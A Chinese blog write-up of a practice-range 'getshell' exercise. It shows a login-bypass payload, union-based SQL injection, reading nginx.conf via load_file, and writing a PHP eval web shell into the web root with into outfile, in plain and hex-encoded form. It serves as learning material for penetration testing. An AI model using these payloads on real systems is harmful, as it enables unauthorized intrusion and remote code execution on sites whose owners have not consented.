一次简单的靶场getshell

前言

师傅搭建了一个简单的靶场,要求getshell,对于我一个小白来说,难免有点难度……那就慢慢来吧……

信息收集

虽然是个简单的靶场,不涉及IP|端口一类的收集,但是还是要对网站进行一个大概的浏览....

  • 判断其环境
    • 中间件:nginx
    • php
  • 查找同款cms
    • 前端js
    • 前端css
    • cms关键字
    • 调用的路径
    • 首页logo可能存在指向官网cms的超链接
  • 后台前端内容

并没有自己需要的信息....

首页


首页发现可能有用的东西有:

  • 后台管理
    • 万能密码
    • 文件上传
  • 本站搜索
    • xss(反射型)
    • SQL查询注入
  • 新闻传参
    • SQL注入
  • 留言板
    • xss(存储型)

开始尝试

后台管理

信息收集

  • 先尝试万能密码
    payload:admin' or '1'='1
  • 竟然成功了,继续收集有用的信息
    • 用户添加
    • 添加文章
      • xss
      • 文件上传
    • 文章管理
      • 搜索框
        • xss
        • SQL查询注入
      • 文章编辑
        • 文件上传
        • xss
    • 文件管理
      - 文件上传

尝试getshell

后台我并没有实现getshell,可能是我太菜叭

首页尝试SQL注入

查找注入点

  • 随便点开一个新闻页面,很明显的传参,验证是否存在注入

尝试注入

  • 很明显,存在整数型注入,尝试构造payload:order by

  • ok,一共15列,现在尝试看他有没有回显位,构造payload:union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
  • 一个11,一个3

尝试getshell

别问我为什么不爆数据,因为咱们目的是getshell

查找网站绝对路径

既然要getshell,当然第一步是查找网站根路径了~,最常规的姿势:load_file(),网站根路径是通过web中间件进行确定的,既然已经知道是nginx,那当然是读取nginx.conf

  • 构造payload:http://192.236.147.191:9000/show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,load_file(char(47,117,115,114,47,108,111,99,97,108,47,110,103,105,110,120,47,99,111,110,102,47,110,103,105,110,120,46,99,111,110,102)),12,13,14,15

这里看不方便,所以使用grep处理查看

尝试getshell

网站根路径已经知道了,尝试写进去呢?

  • 构造写文件的payloadunion select 1,2,3,4,5,6,7,8,9,10,"<?php eval($_POST['qqq']);?>",12,13,14,15 into outfile"/www/xxx.php"
  • 成功写入~,看看文件是否正常呢?

  • 没事,换hex写,payload:http://192.236.147.191:9000/show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,0x3C3F7068702065xxxxxxxx245F504F53545B27717171275D293B3F3E,12,13,14,15 into outfile"/www/xxx.php"
  • 又写进去了,再看看正常吗?

发现,11没有了,猜测已经被解析,尝试连接shell

  • 成功getshell
原文地址:https://www.cnblogs.com/quail2333/p/12848846.html